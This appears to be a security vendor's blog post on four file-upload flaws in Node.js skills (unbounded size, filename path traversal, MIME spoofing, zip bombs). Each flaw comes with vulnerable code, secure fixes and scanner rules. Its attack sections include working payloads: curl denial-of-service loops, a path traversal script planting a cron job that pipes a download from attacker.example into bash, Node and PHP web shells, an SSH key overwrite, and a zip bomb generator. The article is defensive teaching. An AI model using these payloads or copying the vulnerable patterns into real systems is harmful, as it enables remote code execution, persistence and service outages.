← Blog

Claude skill multipart upload security — SA-SKL-MULTIPART

MCP skills that accept file uploads for batch audit processing, code review, or repository scanning are exposed to four multipart upload security patterns: unbounded file size causing out-of-memory or disk exhaustion, path traversal via attacker-controlled Content-Disposition filename allowing arbitrary filesystem writes, MIME type spoofing where the content-type header misrepresents the actual file type, and zip bomb payloads that expand exponentially during extraction. SA-SKL-MULTIPART covers all four patterns with the specific attack mechanics and correct defenses using Node.js multipart libraries.

By SkillAudit  |  4 Nov 2026

MULTIPART-001 — No file size limit in multer — OOM and disk exhaustion (HIGH)

Multer, the most common Node.js multipart/form-data library, has no default size limit. Without explicit limits configuration, a single upload request can consume the entire available memory (memory storage) or fill the host filesystem (disk storage). In a Claude MCP skill where multiple sessions run concurrently, a single oversized upload terminates all active sessions.

Vulnerable code

// upload-handler.ts — VULNERABLE: no size limits configured
import multer from 'multer';
import express from 'express';

const router = express.Router();

// Pattern A: memory storage with no limits
const uploadMemory = multer({ storage: multer.memoryStorage() });

// Pattern B: disk storage with no limits
const diskStorage = multer.diskStorage({
  destination: '/var/app/uploads/',
  filename: (req, file, cb) => cb(null, file.originalname),
});
const uploadDisk = multer({ storage: diskStorage });

// Pattern C: even the shorthand form has no default limits
const uploadSimple = multer({ dest: 'uploads/' });

// All three patterns expose the endpoint to unbounded file uploads:
router.post('/audit/upload', uploadMemory.single('codebase'), async (req, res) => {
  // req.file.buffer may be gigabytes — entire file is in memory before this runs
  const auditResult = await runAudit(req.file!.buffer);
  res.json(auditResult);
});

Attack mechanics

# Attack A: OOM crash via memory storage upload
# Attacker sends a 2GB multipart request to the upload endpoint
# Node.js buffers the entire request body in memory before the handler runs
# Multer's memoryStorage() accumulates all bytes in req.file.buffer
# Node.js heap exhausts → process crashes → all concurrent Claude sessions die

# Using curl to send a large file:
dd if=/dev/urandom bs=1M count=2048 | \
  curl -X POST https://skill.example/audit/upload \
       -F "codebase=@/dev/stdin;type=application/zip" \
       --limit-rate 0

# Attack B: disk exhaustion via disk storage upload
# Attacker sends multiple concurrent large uploads:
for i in {1..10}; do
  dd if=/dev/zero bs=1G count=5 | \
    curl -X POST https://skill.example/audit/upload \
         -F "codebase=@/dev/stdin" &
done
# 10 concurrent 5GB uploads = 50GB written to /var/app/uploads/
# Filesystem fills → all write operations on the host fail
# Skill process, database, and log writers all error

# Note: even with disk storage, Node.js streams the file to disk incrementally,
# but without a limit, the stream runs until the sender stops or disk is full.
# The process does not crash immediately but the host becomes unusable.

Impact: Denial of service affecting all users of the skill, not just the attacker's session. With memory storage, a single upload can crash the Node.js process. With disk storage, the filesystem fills and all services on the host fail. No authentication is required if the upload endpoint is accessible to any user, including trial accounts or unauthenticated API consumers.

Secure fix

// upload-handler.ts — SECURE
import multer, { MulterError } from 'multer';
import express, { Request, Response, NextFunction } from 'express';
import crypto from 'node:crypto';
import path from 'node:path';

const router = express.Router();

// Apply a global JSON body size limit for non-multipart routes
app.use(express.json({ limit: '1mb' }));
app.use(express.urlencoded({ extended: true, limit: '1mb' }));

// Multer with explicit limits on file size, file count, and field sizes
const upload = multer({
  storage: multer.diskStorage({
    destination: '/var/app/uploads/',
    filename: (req, file, cb) => {
      // UUID filename — safe, no originalname in filesystem path
      const safeName = crypto.randomUUID() + path.extname(
        path.basename(file.originalname).replace(/[^a-zA-Z0-9._-]/g, '_')
      );
      cb(null, safeName);
    },
  }),
  limits: {
    fileSize: 10 * 1024 * 1024,   // 10MB maximum per file
    files: 1,                       // maximum 1 file per request
    fields: 10,                     // maximum 10 non-file fields
    fieldSize: 64 * 1024,           // 64KB maximum per field value
    headerPairs: 100,               // limit multipart header pairs
  },
  fileFilter: (req, file, cb) => {
    const allowed = new Set(['application/zip', 'text/plain', 'application/json']);
    // Check Content-Type header (first line of defense — not sufficient alone)
    if (!allowed.has(file.mimetype)) {
      return cb(new Error('File type not allowed'));
    }
    cb(null, true);
  },
});

router.post('/audit/upload',
  upload.single('codebase'),
  async (req: Request, res: Response) => {
    const auditResult = await runAudit(req.file!.path);
    res.json(auditResult);
  }
);

// Explicit MulterError handler — returns 413 with actionable message
router.use((err: Error, req: Request, res: Response, next: NextFunction) => {
  if (err instanceof MulterError) {
    if (err.code === 'LIMIT_FILE_SIZE') {
      return res.status(413).json({
        error: 'File too large',
        maxSize: '10MB',
        message: 'Please upload a file under 10MB. For larger codebases, use the CLI scanner.',
      });
    }
    if (err.code === 'LIMIT_FILE_COUNT') {
      return res.status(400).json({ error: 'Too many files', maxFiles: 1 });
    }
    return res.status(400).json({ error: err.message, code: err.code });
  }
  next(err);
});

Detection: SkillAudit's AST scanner flags any multer({}) call where the options object has no limits property, or where limits.fileSize is absent. It also flags multer({ dest: '...' }) (shorthand form) which never has an explicit limits object. Additionally, it checks whether the Express app registers express.json({ limit: ... }) and flags configurations where the JSON body parser has no limit set.

MULTIPART-002 — Path traversal via Content-Disposition filename (HIGH)

The file.originalname field in multer is taken directly from the Content-Disposition: form-data; filename="..." header of the multipart request. An attacker who controls the filename can include ../ sequences that escape the intended upload directory and write files to arbitrary filesystem locations, potentially overwriting application code, cron jobs, or SSH authorized keys.

Vulnerable code

// upload-handler.ts — VULNERABLE: originalname used directly in filesystem path
import multer from 'multer';
import path from 'node:path';
import fs from 'node:fs';

const upload = multer({ dest: '/tmp/multer-tmp/' });

router.post('/audit/upload', upload.single('file'), (req, res) => {
  if (!req.file) return res.status(400).json({ error: 'No file' });

  // VULNERABLE: file.originalname comes from Content-Disposition header — attacker-controlled
  const dest = path.join('/var/app/uploads/', req.file.originalname);
  // path.join resolves '../../etc/cron.d/evil' to '/etc/cron.d/evil'
  // path.join resolves '../routes/index.js' to '/var/app/routes/index.js'

  fs.renameSync(req.file.path, dest);  // writes file to resolved path
  res.json({ stored: dest });
});

// Also vulnerable — same issue with path.resolve:
const dest2 = path.resolve('/var/app/uploads/', req.file.originalname);
// path.resolve('/var/app/uploads/', '../../../../etc/passwd') → '/etc/passwd'

// Also vulnerable — string concatenation with no sanitization:
const dest3 = '/var/app/uploads/' + req.file.originalname;
// → '/var/app/uploads/../../../../etc/cron.d/evil'

Attack mechanics

# Craft a multipart upload with a path traversal filename
# Using Python requests:
import requests

# Target 1: overwrite application route handler
with open('/tmp/malicious_route.js', 'wb') as f:
    f.write(b"""
const { exec } = require('child_process');
module.exports = function(req, res) {
  exec(req.query.cmd, (err, stdout) => res.send(stdout));
};
""")

files = {'file': ('../routes/index.js', open('/tmp/malicious_route.js', 'rb'), 'text/plain')}
r = requests.post('https://skill.example/audit/upload', files=files)
# → path.join('/var/app/uploads/', '../routes/index.js')
# → '/var/app/routes/index.js' — overwrites the route file

# Target 2: write a cron job for persistent access (Linux, cron reads /etc/cron.d/)
cron_payload = b'* * * * * root curl http://attacker.example/shell.sh | bash\n'
files = {'file': ('../../../../etc/cron.d/evil', cron_payload, 'text/plain')}
r = requests.post('https://skill.example/audit/upload', files=files)
# → Cron executes every minute, downloads and runs attacker's shell script

# Target 3: overwrite SSH authorized_keys for the app user
ssh_key = b'ssh-rsa AAAA...attacker_public_key... attacker@evil\n'
files = {'file': ('../../../home/appuser/.ssh/authorized_keys', ssh_key, 'text/plain')}
# → Attacker can SSH into the host as appuser

Impact: Path traversal via filename can achieve remote code execution by overwriting application JavaScript files or cron jobs, persistent backdoor access via SSH authorized_keys modification, and data exfiltration by overwriting a served static file with the content of a sensitive file (combined with a read-then-upload pattern). The attack works against any process with write permission to the target path.

Secure fix

// upload-handler.ts — SECURE
import crypto from 'node:crypto';
import path from 'node:path';
import fs from 'node:fs';

const UPLOAD_DIR = path.resolve('/var/app/uploads');   // canonical absolute path

// Sanitize originalname: strip directory components, allow only safe characters
function sanitizeFilename(originalname: string): string {
  // path.basename strips all directory components: '../../etc/passwd' → 'passwd'
  const base = path.basename(originalname);
  // Replace any character that is not alphanumeric, dot, hyphen, or underscore
  return base.replace(/[^a-zA-Z0-9._-]/g, '_');
}

// Generate a UUID-based stored filename — originalname never touches the filesystem path
function storedFilename(originalname: string): string {
  const safe = sanitizeFilename(originalname);
  const ext = path.extname(safe).toLowerCase();   // e.g., '.zip', '.js', '.txt'
  // UUID ensures uniqueness and no path characters; ext for MIME detection convenience
  return crypto.randomUUID() + ext;
}

const upload = multer({
  storage: multer.diskStorage({
    destination: UPLOAD_DIR,
    filename: (req, file, cb) => {
      cb(null, storedFilename(file.originalname));
    },
  }),
  limits: { fileSize: 10 * 1024 * 1024, files: 1 },
});

router.post('/audit/upload', upload.single('file'), async (req, res) => {
  if (!req.file) return res.status(400).json({ error: 'No file uploaded' });

  // Verify stored path is inside UPLOAD_DIR (defense in depth)
  const storedPath = path.resolve(req.file.path);
  if (!storedPath.startsWith(UPLOAD_DIR + path.sep)) {
    fs.unlinkSync(req.file.path);   // clean up
    return res.status(400).json({ error: 'Invalid file path' });
  }

  // Store originalname separately in DB for display — never use it as a filesystem path
  const record = await db.files.create({
    storedPath,                                  // safe UUID path on disk
    originalName: sanitizeFilename(req.file.originalname),  // sanitized for display only
    mimeType: req.file.mimetype,
    size: req.file.size,
    uploadedBy: req.user!.id,
  });

  res.json({ fileId: record.id, originalName: record.originalName });
});

Detection: SkillAudit traces the file.originalname property from multer's file object through path.join(), path.resolve(), string concatenation, and fs.renameSync() / fs.rename() calls. Any path where originalname reaches a filesystem write operation without an intervening path.basename() call is flagged. It also checks multer's diskStorage.filename callback to verify that cb(null, ...) is called with a UUID-based or sanitized value, not file.originalname directly.

MULTIPART-003 — MIME type spoofing via Content-Type header trust (HIGH)

Multer's file.mimetype property is taken from the Content-Type header of the multipart field — it is supplied by the client and can be set to any value. A fileFilter that checks file.mimetype against an allowlist provides no security: an attacker simply sets the Content-Type header to a permitted value while uploading a completely different file type. Reliable MIME type detection requires reading the actual file bytes (magic bytes).

Vulnerable code

// upload-handler.ts — VULNERABLE: trusting multer's file.mimetype
import multer from 'multer';

const ALLOWED_TYPES = new Set([
  'application/zip',
  'application/javascript',
  'text/plain',
  'application/json',
]);

const upload = multer({
  dest: '/var/app/uploads/',
  limits: { fileSize: 10 * 1024 * 1024 },
  fileFilter: (req, file, cb) => {
    // VULNERABLE: file.mimetype is the Content-Type header — attacker-controlled
    if (!ALLOWED_TYPES.has(file.mimetype)) {
      return cb(new Error(`File type ${file.mimetype} not allowed`));
    }
    cb(null, true);  // accepts any file with an allowed Content-Type header
  },
});

router.post('/audit/upload', upload.single('codebase'), async (req, res) => {
  // req.file is on disk — but could be a PHP shell, executable, or polyglot
  await processUpload(req.file!.path);
  res.json({ ok: true });
});

Attack mechanics

# Attack A: PHP web shell disguised as text/plain
# Attacker creates a PHP shell:
cat > /tmp/shell.php <<'EOF'
<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
EOF

# Upload with Content-Type: text/plain — passes the fileFilter check
curl -X POST https://skill.example/audit/upload \
     -F "codebase=@/tmp/shell.php;type=text/plain"
# file.mimetype = 'text/plain' → ALLOWED → stored as /var/app/uploads/<uuid>.txt
# If uploads/ is accessible via a PHP-capable web server:
# GET /uploads/<uuid>.php?cmd=id → executes id command

# Attack B: polyglot file (valid JPEG + embedded ZIP)
# A polyglot is a file that is simultaneously valid in two formats
# Example: JFIF header (JPEG) prepended to a ZIP archive
python3 -c "
import struct
# Valid JPEG header (SOI marker)
jpeg_soi = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00'
# ZIP local file header (PK signature)
zip_local = b'PK\x03\x04'  + b'\x00' * 26 + b'evil.js\x00' + b'alert(1)' * 100

with open('/tmp/polyglot.bin', 'wb') as f:
    f.write(jpeg_soi + zip_local)
"

# Upload with Content-Type: image/jpeg — passes an image-only fileFilter
curl -X POST https://skill.example/audit/upload \
     -F "codebase=@/tmp/polyglot.bin;type=image/jpeg"
# file.mimetype = 'image/jpeg' → passes check
# Actual file contains a ZIP with JavaScript — extracted by skill's archive processor
# Skill runs the embedded JavaScript during code audit, achieving XSS or RCE

# Attack C: executable disguised as text/plain
# ELF binary with Content-Type: text/plain
curl -X POST https://skill.example/audit/upload \
     -F "codebase=@/bin/sh;type=text/plain"
# Uploaded binary stored — if skill's audit runner executes uploaded scripts, RCE occurs

Impact: MIME spoofing bypasses every Content-Type-based filter, allowing upload of web shells, executables, polyglot files, and malformed archives. Combined with a misconfigured web server or a code execution path in the skill's audit processor, this achieves remote code execution. The filter provides false confidence — it passes all tests but provides no actual protection.

Secure fix

// upload-handler.ts — SECURE: magic byte detection with file-type package
import multer from 'multer';
import { fileTypeFromBuffer, fileTypeFromFile } from 'file-type';
import fs from 'node:fs';
import crypto from 'node:crypto';

const ALLOWED_MIME_TYPES = new Set([
  'application/zip',
  'application/x-zip-compressed',
  'application/gzip',
  'text/plain',       // NOTE: file-type may not detect text/plain — handle separately
  'application/json', // NOTE: file-type may not detect JSON — handle separately
]);

// file-type reads magic bytes — the first 4096 bytes of the actual file content
async function detectMimeType(filePath: string): Promise<string | null> {
  const type = await fileTypeFromFile(filePath);
  if (type) return type.mime;

  // file-type returns undefined for text formats (plain text, JSON, CSV)
  // Validate these by attempting to parse them:
  try {
    const content = fs.readFileSync(filePath, 'utf8');
    JSON.parse(content);
    return 'application/json';
  } catch { /* not JSON */ }

  // Check if it's valid UTF-8 text (heuristic for text/plain)
  try {
    fs.readFileSync(filePath, 'utf8');
    return 'text/plain';
  } catch {
    return null;  // binary content that file-type didn't recognise
  }
}

// Two-phase upload: store first, verify after
const uploadTemp = multer({
  dest: '/var/app/upload-tmp/',
  limits: { fileSize: 10 * 1024 * 1024, files: 1 },
  // No fileFilter here — Content-Type is unreliable; we check after upload
});

router.post('/audit/upload', uploadTemp.single('codebase'), async (req, res) => {
  if (!req.file) return res.status(400).json({ error: 'No file uploaded' });

  let detectedMime: string | null = null;

  try {
    // Detect actual MIME type from file content (magic bytes)
    detectedMime = await detectMimeType(req.file.path);

    if (!detectedMime || !ALLOWED_MIME_TYPES.has(detectedMime)) {
      return res.status(415).json({
        error: 'Unsupported file type',
        detected: detectedMime,
        allowed: Array.from(ALLOWED_MIME_TYPES),
      });
    }

    // Optionally: flag mismatch between claimed and detected MIME (audit log entry)
    if (req.file.mimetype !== detectedMime) {
      auditLog.warn('MIME mismatch', {
        claimed: req.file.mimetype,
        detected: detectedMime,
        userId: req.user?.id,
        ip: req.ip,
      });
    }

    // Move to final uploads directory with UUID name
    const ext = detectedMime === 'application/zip' ? '.zip'
              : detectedMime === 'application/gzip' ? '.tar.gz'
              : '.txt';
    const finalName = crypto.randomUUID() + ext;
    const finalPath = path.join('/var/app/uploads/', finalName);
    fs.renameSync(req.file.path, finalPath);

    res.json({ fileId: finalName, mime: detectedMime });

  } finally {
    // Always clean up temp file on error
    if (fs.existsSync(req.file.path)) {
      fs.unlinkSync(req.file.path);
    }
  }
});

Detection: SkillAudit flags multer fileFilter callbacks that check file.mimetype against an allowlist but do not call fileTypeFromFile() or fileTypeFromBuffer() from the file-type package anywhere in the upload handling chain. It also flags patterns where the upload route handler accesses req.file.path for further processing without an intervening magic-byte MIME check in the route middleware or the fileFilter callback.

MULTIPART-004 — Zip bomb during archive extraction — disk and memory exhaustion (HIGH)

A zip bomb is a maliciously crafted archive containing highly compressed data that expands to a vastly larger size on extraction. The classic 42.zip weighs 42 kilobytes but extracts to 4.5 petabytes. Practical zip bombs with 1KB compressed / 1GB extracted ratios are trivially constructable. Skills that extract uploaded zip archives without enforcing extraction size limits fill the disk volume, trigger OOM during in-memory extraction, and deny service to all concurrent audit jobs.

Vulnerable code

// archive-processor.ts — VULNERABLE: no extraction size limit
import AdmZip from 'adm-zip';
import path from 'node:path';

export async function extractUploadedArchive(
  archivePath: string,
  destDir: string
): Promise<void> {
  const zip = new AdmZip(archivePath);
  // extractAllTo() extracts every entry with no size limit — vulnerable to zip bombs
  zip.extractAllTo(destDir, /* overwrite */ true);
  // If archivePath is a 1KB zip bomb, destDir may now contain 1GB of null bytes
}

// Also vulnerable — node-unzipper with pipe-to-disk and no size tracking:
import unzipper from 'unzipper';

async function extractWithUnzipper(archivePath: string, destDir: string): Promise<void> {
  await fs.createReadStream(archivePath)
    .pipe(unzipper.Extract({ path: destDir }))   // no byte limit — streams entire content to disk
    .promise();
}

// Also vulnerable — extracting to memory buffer (OOM risk):
const zip2 = new AdmZip(archivePath);
const entries = zip2.getEntries();
for (const entry of entries) {
  // getDataAsBuffer() decompresses entire entry into memory — no size check
  const content = entry.getData();  // may be gigabytes
  processFileContent(content);
}

Attack mechanics

# Construct a practical zip bomb (1KB compressed → 1GB extracted) in Python
import zipfile, io

COMPRESSED_SIZE = 1024              # 1KB compressed zip
EXPANDED_SIZE   = 1024 * 1024 * 1024  # 1GB null bytes

# Compress 1GB of null bytes — compresses to ~1MB due to LZ77 repetition
# Then nest inside outer archives for greater ratio
null_bytes = b'\x00' * EXPANDED_SIZE
compressed = io.BytesIO()

with zipfile.ZipFile(compressed, 'w', zipfile.ZIP_DEFLATED, compresslevel=9) as zf:
    zf.writestr('bomb.bin', null_bytes)   # 1GB → ~1MB compressed

# Wrap in outer zip with 1000 copies of the inner bomb
outer = io.BytesIO()
with zipfile.ZipFile(outer, 'w', zipfile.ZIP_DEFLATED) as zf:
    inner_bytes = compressed.getvalue()
    for i in range(1000):
        zf.writestr(f'bomb_{i:04d}.zip', inner_bytes)
# → outer.zip is ~1GB compressed, extracts to 1000 × 1GB = 1TB

# Upload to skill endpoint:
import requests
files = {'codebase': ('archive.zip', outer.getvalue(), 'application/zip')}
r = requests.post('https://skill.example/audit/upload', files=files)

# When skill calls zip.extractAllTo(destDir, True):
# → Writes 1TB to /var/app/extracted/
# → Disk fills, all services on host fail
# → If using adm-zip in-memory: 1TB allocated → OOM → process crash

# Zip bomb detection without extraction — check compression ratio:
import zipfile
with zipfile.ZipFile('archive.zip') as zf:
    for info in zf.infolist():
        ratio = info.compress_size / info.file_size if info.file_size else 1
        if ratio < 0.01:   # compressed to less than 1% of original = suspicious
            print(f"BOMB: {info.filename} ratio={ratio:.4f}")

Impact: A zip bomb as small as 1KB can fill a multi-terabyte disk or trigger OOM on extraction, terminating the skill process and all concurrent audit sessions. The attack requires no authentication beyond the ability to upload a file. Recovery requires manual disk cleanup and service restart — not automatically resolved by process restart.

Secure fix

// archive-processor.ts — SECURE: streaming extraction with byte counter and ratio check
import yauzl from 'yauzl';
import path from 'node:path';
import fs from 'node:fs';
import crypto from 'node:crypto';

const MAX_EXTRACTED_BYTES = 100 * 1024 * 1024;  // 100MB total extraction limit
const MAX_ENTRY_COUNT     = 1_000;               // maximum files in archive
const MIN_COMPRESSION_RATIO = 0.01;              // flag if any entry compresses below 1%
const EXTRACT_DIR_BASE    = path.resolve('/var/app/extracted');

export function extractZipSafely(
  archivePath: string,
  jobId: string,
): Promise<string[]> {
  return new Promise((resolve, reject) => {
    // Pre-check: scan all entries before extracting any
    yauzl.open(archivePath, { lazyEntries: true }, (err, zipfile) => {
      if (err) return reject(err);

      const extractedFiles: string[] = [];
      let totalExtracted = 0;
      let entryCount = 0;
      const destDir = path.join(EXTRACT_DIR_BASE, jobId);
      fs.mkdirSync(destDir, { recursive: true });

      zipfile.readEntry();

      zipfile.on('entry', (entry) => {
        entryCount++;

        // 1. Entry count limit
        if (entryCount > MAX_ENTRY_COUNT) {
          zipfile.close();
          return reject(new Error(`Archive has too many files (max ${MAX_ENTRY_COUNT})`));
        }

        // 2. Compression ratio check — detect zip bomb before extracting
        if (entry.compressedSize > 0 && entry.uncompressedSize > 0) {
          const ratio = entry.compressedSize / entry.uncompressedSize;
          if (ratio < MIN_COMPRESSION_RATIO) {
            zipfile.close();
            return reject(new Error(
              `Suspicious compression ratio in ${entry.fileName}: ` +
              `${(ratio * 100).toFixed(2)}% (possible zip bomb)`
            ));
          }
        }

        // 3. Per-entry size check
        if (entry.uncompressedSize > MAX_EXTRACTED_BYTES) {
          zipfile.close();
          return reject(new Error(
            `Entry ${entry.fileName} too large: ${entry.uncompressedSize} bytes`
          ));
        }

        // 4. Path traversal check on entry filename
        const safeName = path.basename(entry.fileName).replace(/[^a-zA-Z0-9._-]/g, '_');
        const entryDest = path.resolve(destDir, crypto.randomUUID() + '_' + safeName);
        if (!entryDest.startsWith(destDir + path.sep)) {
          zipfile.close();
          return reject(new Error(`Path traversal in zip entry: ${entry.fileName}`));
        }

        // Skip directories
        if (/\/$/.test(entry.fileName)) {
          zipfile.readEntry();
          return;
        }

        // 5. Stream extraction with running byte counter
        zipfile.openReadStream(entry, (err, readStream) => {
          if (err) return reject(err);

          const writeStream = fs.createWriteStream(entryDest);
          readStream.on('data', (chunk: Buffer) => {
            totalExtracted += chunk.length;
            if (totalExtracted > MAX_EXTRACTED_BYTES) {
              readStream.destroy();
              writeStream.destroy();
              fs.rmSync(destDir, { recursive: true, force: true });
              reject(new Error(
                `Extraction limit exceeded: ${MAX_EXTRACTED_BYTES} bytes total`
              ));
            }
          });

          readStream.pipe(writeStream);
          writeStream.on('close', () => {
            extractedFiles.push(entryDest);
            zipfile.readEntry();   // proceed to next entry
          });
        });
      });

      zipfile.on('end', () => resolve(extractedFiles));
      zipfile.on('error', reject);
    });
  });
}

Detection: SkillAudit flags any call to AdmZip.extractAllTo(), unzipper.Extract(), or AdmZip.getEntries() followed by entry.getData() that is not preceded by a byte count check against a maximum extraction limit. It also flags patterns where the total uncompressed size (available from zip central directory headers without extraction) is not checked before beginning extraction. The scanner additionally checks whether any entry's compression ratio is validated before the extraction stream is opened.

SA-SKL-MULTIPART findings summary

SkillAudit reports these four multipart upload findings when scanning a Claude MCP skill that accepts file uploads via multer or similar multipart libraries:

HIGH
SA-SKL-MULTIPART-001 — multer configured without a limits.fileSize constraint, allowing unbounded uploads that exhaust available memory (memory storage) or disk space (disk storage). Fix: add limits: { fileSize: 10 * 1024 * 1024, files: 1 } to all multer instances; handle MulterError with code LIMIT_FILE_SIZE to return HTTP 413. Detection: AST check for multer(options) where options.limits is absent, or where options.limits.fileSize is not set; also flags multer({ dest }) shorthand which never includes limits.
HIGH
SA-SKL-MULTIPART-002 — file.originalname from multer flows into path.join(), path.resolve(), string concatenation, or fs.rename() / fs.renameSync() without an intervening path.basename() call, enabling path traversal via a crafted Content-Disposition filename. Fix: use crypto.randomUUID() as the stored filename; apply path.basename() and character allowlist sanitization before any filesystem path construction; store original filename in a database, never in the filesystem path. Detection: taint flow from req.file.originalname or file.originalname to filesystem path construction without path.basename() interposed in the control flow.
HIGH
SA-SKL-MULTIPART-003 — multer fileFilter checks file.mimetype against an allowlist without validating the actual file magic bytes using fileTypeFromFile() or fileTypeFromBuffer() from the file-type package, allowing MIME spoofing via a forged Content-Type header. Fix: perform post-upload magic byte detection with file-type; reject files where detected MIME does not match the allowlist; log Content-Type mismatches for security monitoring. Detection: upload route handlers that access req.file.path for downstream processing without a call to fileTypeFromFile() or fileTypeFromBuffer() in the route middleware chain.
HIGH
SA-SKL-MULTIPART-004 — Archive extraction performed via AdmZip.extractAllTo() or piped unzipper.Extract() without a total extracted byte limit or compression ratio check, allowing zip bomb payloads to exhaust disk or memory. Fix: use yauzl for streaming extraction with a per-chunk byte counter; check compression ratio before extracting each entry; enforce entry count limit; abort and clean up if totalExtracted exceeds the limit. Detection: calls to extractAllTo(), unzipper.Extract(), or looped entry.getData() without an explicit extraction byte limit guard in the surrounding scope.

Running SA-SKL-MULTIPART on your MCP skill

SkillAudit's multipart scanner identifies upload handlers in your skill's Express route files, traces multer configuration to verify limits, follows the data flow from file.originalname through filesystem operations, checks for magic byte MIME validation after upload, and scans archive extraction code for byte limit guards. All four patterns are checked in a single scan pass against your committed source tree.

Skills that handle file uploads as part of batch audit workflows — accepting zip archives of codebases, tarballs of repositories, or collections of JavaScript files — are particularly exposed to all four patterns simultaneously. SA-SKL-MULTIPART is recommended as a prerequisite before enabling file upload features in any Claude MCP skill deployed to production.

SA-SKL-MULTIPART is part of the SkillAudit Input Validation & File Handling audit bundle, which also includes SA-SKL-UPLOAD (S3/GCS presigned URL abuse), SA-SKL-PATH (general path traversal in non-upload contexts), and SA-SKL-ARCHIVE (tar and gzip extraction security beyond zip formats).